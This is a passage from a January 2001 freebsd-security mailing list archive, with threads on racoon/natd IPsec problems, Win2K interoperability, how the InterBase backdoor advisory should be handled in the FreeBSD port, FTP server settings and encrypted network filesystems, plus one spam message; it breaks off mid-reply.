with ESMTP id 0D9D737B400 for ; Thu, 11 Jan 2001 04:47:52 -0800 (PST) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id VAA29598; Thu, 11 Jan 2001 21:47:46 +0900 (JST) To: Josef Karthauser Cc: freebsd-security@FreeBSD.ORG In-reply-to: joe's message of Thu, 11 Jan 2001 12:45:11 GMT. <20010111124510.D3594@tao.org.uk> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Interaction problem with IKE (racoon) and ipfw divert natd? From: itojun@iijlab.net Date: Thu, 11 Jan 2001 21:47:46 +0900 Message-ID: <29596.979217266@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Strangely... if I move the 'allow udp from ME isakmp to HIM isakmp' to >before the 'divert 8668 ip from any to any via fxp1' rule the packet >does go out on the wire! >I wonder whether this is a bug with natd. >Both machines are round about RELENG_4 (far end HIM jan 4th, this end ME >jan 10th). >Any ideas how I can track this down? i have no idea. i think natd captures the outgoing packets and then drops them onto the floor or something like that. we (as kame guys) almost never use ipfw/ipnat, as ipsec is inherently not friendly with them. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 4:56:33 2001 Delivered-To: freebsd-security@freebsd.org Received: from tao.org.uk (genesis.tao.org.uk [194.242.131.94]) by hub.freebsd.org (Postfix) with ESMTP id 677FB37B400 for ; Thu, 11 Jan 2001 04:56:16 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id 941F3323F; Thu, 11 Jan 2001 12:56:21 +0000 (GMT) Date: Thu, 11 Jan 2001 12:56:21 +0000 From: Josef Karthauser To: itojun@iijlab.net Cc: freebsd-security@FreeBSD.ORG Subject: Re: Interaction problem with IKE (racoon) and ipfw divert natd? Message-ID: <20010111125621.F3594@tao.org.uk> Mail-Followup-To: Josef Karthauser , itojun@iijlab.net, freebsd-security@FreeBSD.ORG References: <20010111124510.D3594@tao.org.uk> <29596.979217266@coconut.itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <29596.979217266@coconut.itojun.org>; from itojun@iijlab.net on Thu, Jan 11, 2001 at 09:47:46PM +0900 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 11, 2001 at 09:47:46PM +0900, itojun@iijlab.net wrote: > > >Strangely... if I move the 'allow udp from ME isakmp to HIM isakmp' to > >before the 'divert 8668 ip from any to any via fxp1' rule the packet > >does go out on the wire! > >I wonder whether this is a bug with natd. > >Both machines are round about RELENG_4 (far end HIM jan 4th, this end ME > >jan 10th). > >Any ideas how I can track this down? > > i have no idea. i think natd captures the outgoing packets and then > drops them onto the floor or something like that. > we (as kame guys) almost never use ipfw/ipnat, as ipsec is inherently > not friendly with them. Hmm, you're also using IPv6 aren't you, so that makes things easier in terms of space allocation. My guess here is that natd is corrupting something as it sees the packet. Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 11: 4:39 2001 Delivered-To: freebsd-security@freebsd.org Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132]) by hub.freebsd.org (Postfix) with ESMTP id 35AD537B400 for ; Thu, 11 Jan 2001 11:04:21 -0800 (PST) Received: from bmach.nederware.nl (nederware.nl [194.109.55.62]) by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id UAA16408; Thu, 11 Jan 2001 20:04:02 +0100 (CET) Received: from pobox.com (IDENT:berend@dellius.nederware.nl [192.168.33.6]) by bmach.nederware.nl (8.11.1/8.9.3) with ESMTP id f0BIY6a17667; Thu, 11 Jan 2001 19:34:06 +0100 (CET) (envelope-from berend@pobox.com) Message-ID: <3A5DFC80.6060208@pobox.com> Date: Thu, 11 Jan 2001 19:33:36 +0100 From: Berend de Boer User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-4.lfs i686; en-US; 0.6) Gecko/20001205 X-Accept-Language: en MIME-Version: 1.0 To: Mikhail Kruk , Ann Harrison Cc: Trevor Johnson , Jason DiCioccio , security@FreeBSD.ORG Subject: Re: CERT advisory: "Interbase Server Contains Compiled-in Back D oor Account" References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mikhail Kruk wrote: >> The backdoor is not documented in the pkg-descr file for the port. If the >> port is not fixed or forbidden, and it has the backdoor, the fact should >> at least be documented there. > > > I don't see how such a backdoor can be left in the package, even if there > is a warning in pkg_descr. > This is a potential remote exploit after all. The InterBase package cannot be installed without explicitly downloading it. The Makefile request you to the directory where you have to download it yourself. I think a message stating this, would be sufficient. I attempt to submit a patch tonight. In the mean time I attempt to contact Ann Harrison (with this message), that I'm willing to help the security patch for InterBase 4 for FreeBSD. Groetjes, Berend. (-: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 15: 4:24 2001 Delivered-To: freebsd-security@freebsd.org Received: from smtp7.xs4all.nl (smtp7.xs4all.nl [194.109.127.133]) by hub.freebsd.org (Postfix) with ESMTP id 12CCB37B69E for ; Thu, 11 Jan 2001 15:04:06 -0800 (PST) Received: from bmach.nederware.nl (nederware.nl [194.109.55.62]) by smtp7.xs4all.nl (8.9.3/8.9.3) with ESMTP id AAA26185; Fri, 12 Jan 2001 00:03:59 +0100 (CET) Received: from pobox.com (IDENT:berend@dellius.nederware.nl [192.168.33.6]) by bmach.nederware.nl (8.11.1/8.9.3) with ESMTP id f0BMrJa83107; Thu, 11 Jan 2001 23:53:19 +0100 (CET) (envelope-from berend@pobox.com) Message-ID: <3A5E3941.4040407@pobox.com> Date: Thu, 11 Jan 2001 23:52:49 +0100 From: Berend de Boer User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-4.lfs i686; en-US; 0.6) Gecko/20001205 X-Accept-Language: en MIME-Version: 1.0 To: Mikhail Kruk Cc: Trevor Johnson , Jason DiCioccio , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: CERT advisory: "Interbase Server Contains Compiled-in Back D oor Account" References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mikhail Kruk wrote: >> The backdoor is not documented in the pkg-descr file for the port. If the >> port is not fixed or forbidden, and it has the backdoor, the fact should >> at least be documented there. > > > I don't see how such a backdoor can be left in the package, even if there > is a warning in pkg_descr. > This is a potential remote exploit after all. Hello All, What do you think about this message when someone attempt to fetch the port: make fetch Sorry, this package cannot be fetched automagically. Point your browser to http://iblinux.rios.co.jp/intl/dloadfb/. And put the package in /usr/ports/distfiles. IMPORTANT NOTE: a security comprise has been detected for this package. Don't install this package on a server connected to the Internet or in insecure environments. Read http://www.cert.org/advisories/CA-2001-01.html for more information. Would this enough to remove the FORBIDDEN flag? I'm attempting to get the patch for the FreeBSD platform, so this is just an intermediate solution. I'm also attempting to make an InterBase 6 firebird port as a more secure InterBase 6. Groetjes, Berend. (-: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 11 21:55: 9 2001 Delivered-To: freebsd-security@freebsd.org Received: from smtp.netease.com (unknown [202.103.134.9]) by hub.freebsd.org (Postfix) with ESMTP id 41F1737B6A3 for ; Thu, 11 Jan 2001 21:54:39 -0800 (PST) Received: from localhost (unknown [61.142.247.117]) by smtp.netease.com (Postfix) with ESMTP id 5AF9D1C461D54 for ; Fri, 12 Jan 2001 13:54:51 +0800 (CST) X-Sender: haiwenlu@netease.com From: Pan To: FreeBSD-security@FreeBSD.org Date: Fri, 12 Jan 2001 13:59:43 +0800 Subject: aluminium profile made in China Reply-To: nhjianmei@china.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Message-Id: <20010112055451.5AF9D1C461D54@smtp.netease.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear Sir or Madam, We are taking the liberty to e-mail this message. If you find it to be interesting, please feel free to contact us for further information. Otherwise please let us know.Thanks Guangdong Jianmei Aluminum Shapes Factory is a professional manufacturer onaluminum alloy shapes, equipped with a complete set of advanced machinery for Aluminum alloy shapes manufacturing such as SMHD billet castings, nine shapes extrusion and two anodizing production lines, and possess two sets of New Spout Powder Product Line imported from overseas. The total capacity comes to 38000 tons per year. The main business line: 30 series of profiles for glassy certain wall (including hidden frame, semi-hidden frame, framed), sliding windows, swing door casement windows etc. Then, it can design and produce special kinds of profiles according to the order. Looking forward to hearing from you soon. Thank and Best regards, Jian Mei Guangdong Jianmei Aluminum Shapes Factory E-mail: nhjianmei@china.com fax:0086-757-6336141 Contact Person: Jian Mei To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 2: 7: 6 2001 Delivered-To: freebsd-security@freebsd.org Received: from post.webmailer.de (natmail2.webmailer.de [192.67.198.65]) by hub.freebsd.org (Postfix) with ESMTP id 3A70637B69D; Fri, 12 Jan 2001 02:06:41 -0800 (PST) Received: from bastion.localhost (p3E9E165A.dip.t-dialin.net [62.158.22.90]) by post.webmailer.de (8.9.3/8.8.7) with ESMTP id LAA13640; Fri, 12 Jan 2001 11:06:37 +0100 (MET) Received: from masterpc (master [192.168.0.1]) by bastion.localhost (8.11.1/8.11.1) with ESMTP id f0CA7US01128; Fri, 12 Jan 2001 10:07:30 GMT Date: Fri, 12 Jan 2001 11:05:40 -0800 From: Boris X-Mailer: The Bat! (v1.48f) Personal Reply-To: Boris X-Priority: 3 (Normal) Message-ID: <1322983510.20010112110540@x-itec.de> To: Jorge Peixoto Vasquez Cc: freebsd-net@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: IPSEC: racoon and Win2K In-reply-To: <3A5B6E27.5787D716@aker.com.br> References: <3A5B6E27.5787D716@aker.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Jorge, Tuesday, January 09, 2001, 12:01:43 PM, you wrote: JPV> I've read the mini-howto on how to setup IPSEC on the FreeBSD JPV> (http://asherah.dyndns.org/~josh/ipsec-howto.txt) and have been most JPV> succesful so far. Thanks for reading our IPSEC-MINI-HOWTO. JPV> The only problem I've encountered is that, when making Win2K and FreeBSD JPV> interoperate, the IKE's phase 2 only suceeds if JPV> Win2K initiates the process. If racoon is to start it, Win2k will not JPV> accept any proposal for phase 2, complaining that the dh group number I needed a connection from Win2k as initiator to my FreeBSD development server (FTP,CVS and so on) at the time of writing the win2k portability with FreeBSD. I never tested the way to connect from the bsd box to win2k, because the bsd box should never initiate the connection first. This way has some nice security advantages, too. I think its time to update the HOWTO soon. Until then, I will follow the comments on this list to collect some material for it and if I am using one or two things of someone of this list, the person will be named in the tutorial, of course. I am planning a SGML Version of the howto (DocBook 4.1 SGML) and to write some more background informations how everything works. I asked Josh about the idea, but until today I get no answer - maybe he is very busy at the moment. However, I will start updating the tutorial soon to make some things clearer. After making the update, I will contact Josh and then I will post a notification here. The most questions the people sent to me where always like these: * they contacted us first: (they should first ask the list *ggg) * phase commit errors: (no encryption pack installed) * misunderstandings about esp, why not to use ssh * how to create ssl certificates and how to use them with ipsec/ike ... I will make this things more clearer in the next update of the HOWTO. I will read some comments about the ipsec topic here in the list and after some weeks I will make a nice update, directly to sgml format that it can be read as html book. JPV> (which should correctly be either 1 or 2) received is 1 or 2 (depending JPV> on the pfs_group setting in racoon.conf) and not null(0). If I try JPV> setting pfs_group to null, I get a parse error. It takes some time to find a qualified solution to me, because I am writing and maintaining the HOWTO in my free time. I will try to find a solution, if you can explain my why to establish the connection from the bsd box first. JPV> All the docs I found in the kame site (www.kame.net), the handbook, and JPV> the man pages haven't been of any help too. We will see what we can do -) JPV> p.s. I am using FreeBSD 4.2-Stable, racoon 20001111a and (YES) I got the JPV> high-encryption pack and SP1 installed on the Win2K box. Ok thats very good and very important. -- Boris [MCSE, CNA] ................................................................... X-ITEC : Consulting * Programming * Net-Security * Crypto-Research ........: [PRIVATE ADDRESS:] : Boris Köster eMail koester@x-itec.de http://www.x-itec.de : Grüne 33-57368 Lennestadt Germany Tel: +49 (0)2721 989400 : 101 PERFECTION - SECURITY - STABILITY - FUNCTIONALITY ........:.......................................................... Everything I am writing is (c) by Boris Köster and may not be rewritten or distributed in any way without my permission. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 3:45:44 2001 Delivered-To: freebsd-security@freebsd.org Received: from aker.com.br (unknown [200.252.12.5]) by hub.freebsd.org (Postfix) with ESMTP id 7B10137B400; Fri, 12 Jan 2001 03:45:18 -0800 (PST) Received: from aker.com.br (jorge.aker.com.br [10.0.0.16]) by aker.com.br (8.9.3/8.9.3) with ESMTP id IAA08111; Fri, 12 Jan 2001 08:29:33 -0200 (BRST) (envelope-from jorge@aker.com.br) Message-ID: <3A5EEE44.28D6BAB1@aker.com.br> Date: Fri, 12 Jan 2001 09:45:08 -0200 From: Jorge Peixoto Vasquez Organization: Aker Security Solutions X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Boris Cc: net@freebsd.org, security@freebsd.org Subject: Re: IPSEC: racoon and Win2K References: <3A5B6E27.5787D716@aker.com.br> <1322983510.20010112110540@x-itec.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Boris wrote: [ interesting text deleted ] > > It takes some time to find a qualified solution to me, because I am > writing and maintaining the HOWTO in my free time. I will try to find > a solution, if you can explain my why to establish the connection from > the bsd box first. > Basically, what I need is to integrate our FreeBSD-based firewalls with existing WIN2K nets our customers already have. In this (more than I would like) common situation, I can never predict which side will start the communication (mostly tunnel-mode). The problem here is full interoperation, and, for that matter, both sides should be able to establish a connection. If desired, one of then should also be able to reject it, but this must be an optional behavior. Most important: I am sure Win2K should never drop the connection because it received a request for something it supports (DH groups 1 and 2). What I am not sure of is if racoon should or should not be able to send a request with null as the desired dh group. I can't see why would it harm. jOrge -- Jorge Peixoto Vasquez, Elet. Eng. Aker Security Solutions http://www.aker.com.br tel. +55 - 61 - 340 9083 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 8:37:56 2001 Delivered-To: freebsd-security@freebsd.org Received: from cak.ukrtel.com (cak.ukrtel.com [194.44.233.1]) by hub.freebsd.org (Postfix) with ESMTP id C0F4537B400 for ; Fri, 12 Jan 2001 08:37:36 -0800 (PST) Received: from klinok.kiev.ua (klinok@localhost [127.0.0.1]) by cak.ukrtel.com (8.11.1/8.11.1) with ESMTP id f0CGbO435052 for ; Fri, 12 Jan 2001 18:37:24 +0200 (EET) Message-ID: <3A5F32C3.21A0D23@klinok.kiev.ua> Date: Fri, 12 Jan 2001 18:37:23 +0200 From: Dmytro Fadeyenko Organization: UkrTel ISP X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386) X-Accept-Language: ru, en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: FTP chmod Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! Can anybody tell about possible insecurity if I allow users to change file permissions by ftp? Any URL to read? Any ways to make it secure? 4.2-STABLE, proftpd 1.2.0. S.Y. Dmytro e-mail:klinok@klinok.kiev.ua ICQ:12509269 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 9:12:44 2001 Delivered-To: freebsd-security@freebsd.org Received: from relay01.cablecom.net (relay01.cablecom.net [62.2.33.101]) by hub.freebsd.org (Postfix) with ESMTP id 81E1037B402 for ; Fri, 12 Jan 2001 09:12:26 -0800 (PST) Received: from mail.swissonline.ch (mail.swissonline.ch [62.2.32.83]) by relay01.cablecom.net (8.11.1/8.11.0/SOL/MXRELAY-1.03) with ESMTP id f0CHCO600786 for ; Fri, 12 Jan 2001 18:12:24 +0100 (CET) Received: from angydee (client67-161.hispeed.ch [62.2.67.161]) by mail.swissonline.ch (8.11.1/8.11.0/MSOL-2.17) with SMTP id f0CHCOu20912 for ; Fri, 12 Jan 2001 18:12:24 +0100 (MET) From: "Reto Keller" To: Subject: Wu-Ftpd Date: Fri, 12 Jan 2001 18:12:10 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org hi all can everybody help me ? i have the standard ftp server (wu-ftpd) when i login with my username i see the full dir but i wanna only see a / . thx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 9:15: 8 2001 Delivered-To: freebsd-security@freebsd.org Received: from triton.neptune.on.ca (triton.neptune.on.ca [205.233.176.2]) by hub.freebsd.org (Postfix) with ESMTP id EFF7D37B401 for ; Fri, 12 Jan 2001 09:14:50 -0800 (PST) Received: from localhost (steve@localhost) by triton.neptune.on.ca (8.9.3/8.9.3) with ESMTP id MAA18079; Fri, 12 Jan 2001 12:14:26 -0500 X-Authentication-Warning: triton.neptune.on.ca: steve owned process doing -bs Date: Fri, 12 Jan 2001 12:14:26 -0500 (EST) From: Steve Mickeler To: Reto Keller Cc: freebsd-security@FreeBSD.ORG Subject: Re: Wu-Ftpd In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 12 Jan 2001, Reto Keller wrote: > hi all > can everybody help me ? > i have the standard ftp server (wu-ftpd) when i login with my username > i see the full dir but i wanna only see a / . > thx man ftpaccess Todays root password is brought to you by /dev/random .-------------------------------------. | Steve Mickeler * Network Operations | +-------------------------------------+ | Neptune Internet Services | `-------------------------------------' 1024D/ACB58D4F = 0227 164B D680 9E13 9168 AE28 843F 57D7 ACB5 8D4F To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 9:30:12 2001 Delivered-To: freebsd-security@freebsd.org Received: from ddba027.netstream.ch (ddba027.netstream.ch [62.65.128.27]) by hub.freebsd.org (Postfix) with ESMTP id 0A2A437B400 for ; Fri, 12 Jan 2001 09:29:55 -0800 (PST) Received: (from chdbrdo9@localhost) by ddba027.netstream.ch (8.11.1/8.11.1) id f0CHTtX72083 for freebsd-security@freebsd.org; Fri, 12 Jan 2001 18:29:55 +0100 (CET) Date: Fri, 12 Jan 2001 18:29:55 +0100 (CET) From: Dominik Breitenmoser Message-Id: <200101121729.f0CHTtX72083@ddba027.netstream.ch> To: freebsd-security@freebsd.org Subject: IPSEC: racoon pgpnet Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi there Has anyone tried to get racoon interoperate with pgpnet? I've got some troubles with the vendor ID. The log always says "2001-01-10 00:14:26: vendorid.c:97:check_vendorid(): Vendor ID mismatch." any hints? Thanks & best regards Dominik To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 9:31:25 2001 Delivered-To: freebsd-security@freebsd.org Received: from osiris.ipform.ru (osiris.ipform.ru [212.158.165.98]) by hub.freebsd.org (Postfix) with ESMTP id A3BCF37B401 for ; Fri, 12 Jan 2001 09:31:06 -0800 (PST) Received: from wp2 (localhost.ipform.ru [127.0.0.1]) by osiris.ipform.ru (8.11.1/8.11.1) with SMTP id f0CHV5S63373 for ; Fri, 12 Jan 2001 20:31:05 +0300 (MSK) (envelope-from matrix@ipform.ru) Message-ID: <00aa01c07cbd$71209dc0$0c00a8c0@ipform.ru> From: "Artem Koutchine" To: Subject: Encrypted networked filesystem needed Date: Fri, 12 Jan 2001 20:31:03 +0300 Organization: IP Form MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! I need a networked filesystem which tranfers files from host to host in encrypted manner or can be tunnelled over SSL (say, using stunnel). NFS cannot be tunneled even when run in TCP mode because of rpc stuff I also heard of and have read about AFS and CODA, but it seems like they do not support encryption, but maybe they could be tunneled. Samba CAN be tunnelled but, IMHO, Samba plain sux and we use it only for windows boxes which need to access unix files. So, is there a file system which support encryption and can AFS or CODA be tunneled? Can AFS and CODA even substitute NFS (in terms of functionality and convinices)? Best regards, Artem Koutchine To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 9:39:30 2001 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 3833137B400 for ; Fri, 12 Jan 2001 09:39:12 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f0CHd2O27089; Fri, 12 Jan 2001 09:39:02 -0800 (PST) Date: Fri, 12 Jan 2001 09:39:02 -0800 From: Alfred Perlstein To: Reto Keller Cc: freebsd-security@FreeBSD.ORG Subject: Re: Wu-Ftpd Message-ID: <20010112093902.V7240@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rk@traxx.ch on Fri, Jan 12, 2001 at 06:12:10PM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Reto Keller [010112 09:12] wrote: > hi all > can everybody help me ? > i have the standard ftp server (wu-ftpd) when i login with my username > i see the full dir but i wanna only see a / . You should know that wu-ftpd is not the "standard" ftp server on FreeBSD. FreeBSD comes with a ftp server in the base system. Although the ftp server that's bundled with FreeBSD is not as featureful as wu-ftpd it has had less than half the amount of security problems as wu-ftpd has. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 9:57:59 2001 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 0DE2B37B400 for ; Fri, 12 Jan 2001 09:57:42 -0800 (PST) Received: from algroup.co.uk ([193.195.56.225]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id RAA02732; Fri, 12 Jan 2001 17:56:54 GMT Message-ID: <3A5F4565.F15136F4@algroup.co.uk> Date: Fri, 12 Jan 2001 17:56:53 +0000 From: Adam Laurie Organization: A.L. Group plc X-Mailer: Mozilla 4.76 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Artem Koutchine Cc: security@FreeBSD.ORG Subject: Re: Encrypted networked filesystem needed References: <00aa01c07cbd$71209dc0$0c00a8c0@ipform.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Artem Koutchine wrote: > > Hello! > > I need a networked filesystem which tranfers files from > host to host in encrypted manner or can be tunnelled > over SSL (say, using stunnel). > > NFS cannot be tunneled even when run in TCP mode because > of rpc stuff > > I also heard of and have read about AFS and CODA, but it seems > like they do not support encryption, but maybe they could be tunneled. > > Samba CAN be tunnelled but, IMHO, Samba plain > sux and we use it only for windows boxes which need to access unix > files. > > So, is there a file system which support encryption and can AFS or CODA > be tunneled? Can AFS and CODA even substitute NFS (in terms of > functionality and convinices)? never tried tunnelling it, but CFS works quite nicely as a crypted filesystem. cheers, Adam -- Adam Laurie Tel: +44 (20) 8742 0755 A.L. Digital Ltd. Fax: +44 (20) 8742 5995 Voysey House http://www.thebunker.net Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 10: 4:22 2001 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 5A05937B401 for ; Fri, 12 Jan 2001 10:04:01 -0800 (PST) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id KAA19124; Fri, 12 Jan 2001 10:03:19 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda19122; Fri Jan 12 10:03:12 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f0CI37N34116; Fri, 12 Jan 2001 10:03:07 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdN34114; Fri Jan 12 10:03:04 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.2/8.9.1) id f0CI34u10870; Fri, 12 Jan 2001 10:03:04 -0800 (PST) Message-Id: <200101121803.f0CI34u10870@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdr10855; Fri Jan 12 10:02:10 2001 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 4.2-RELEASE X-Sender: cy To: "Artem Koutchine" Cc: security@FreeBSD.ORG Subject: Re: Encrypted networked filesystem needed In-reply-to: Your message of "Fri, 12 Jan 2001 20:31:03 +0300." <00aa01c07cbd$71209dc0$0c00a8c0@ipform.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 12 Jan 2001 10:02:10 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : > Hello! > > I need a networked filesystem which tranfers files from > host to host in encrypted manner or can be tunnelled > over SSL (say, using stunnel). > > NFS cannot be tunneled even when run in TCP mode because > of rpc stuff > > I also heard of and have read about AFS and CODA, but it seems > like they do not support encryption, but maybe they could be tunneled. > > Samba CAN be tunnelled but, IMHO, Samba plain > sux and we use it only for windows boxes which need to access unix > files. > > So, is there a file system which support encryption and can AFS or CODA > be tunneled? Can AFS and CODA even substitute NFS (in terms of > functionality and convinices)? Have you considered IPSec? Two such solutions exist with FreeBSD, KAME IPSec that comes with FreeBSD and the pipsecd port. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC In message <00aa01c07cbd$71209dc0$0c00a8c0@ipform.ru>, "Artem Koutchine" writes To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 10:20:59 2001 Delivered-To: freebsd-security@freebsd.org Received: from faith.cs.utah.edu (faith.cs.utah.edu [155.99.198.108]) by hub.freebsd.org (Postfix) with ESMTP id DACA837B401 for ; Fri, 12 Jan 2001 10:20:40 -0800 (PST) Received: (from danderse@localhost) by faith.cs.utah.edu (8.9.3/8.9.3) id LAA13560; Fri, 12 Jan 2001 11:20:32 -0700 (MST) Message-Id: <200101121820.LAA13560@faith.cs.utah.edu> Subject: Re: Encrypted networked filesystem needed To: adam@algroup.co.uk (Adam Laurie) Date: Fri, 12 Jan 2001 11:20:32 -0700 (MST) Cc: matrix@ipform.ru (Artem Koutchine), security@FreeBSD.ORG In-Reply-To: <3A5F4565.F15136F4@algroup.co.uk> from "Adam Laurie" at Jan 12, 2001 05:56:53 PM From: "David G. Andersen" X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You'd probably like SFS. It's terribly useful. http://www.fs.net/ -Dave Lo and behold, Adam Laurie once said: > > Artem Koutchine wrote: > > > > Hello! > > > > I need a networked filesystem which tranfers files from > > host to host in encrypted manner or can be tunnelled > > over SSL 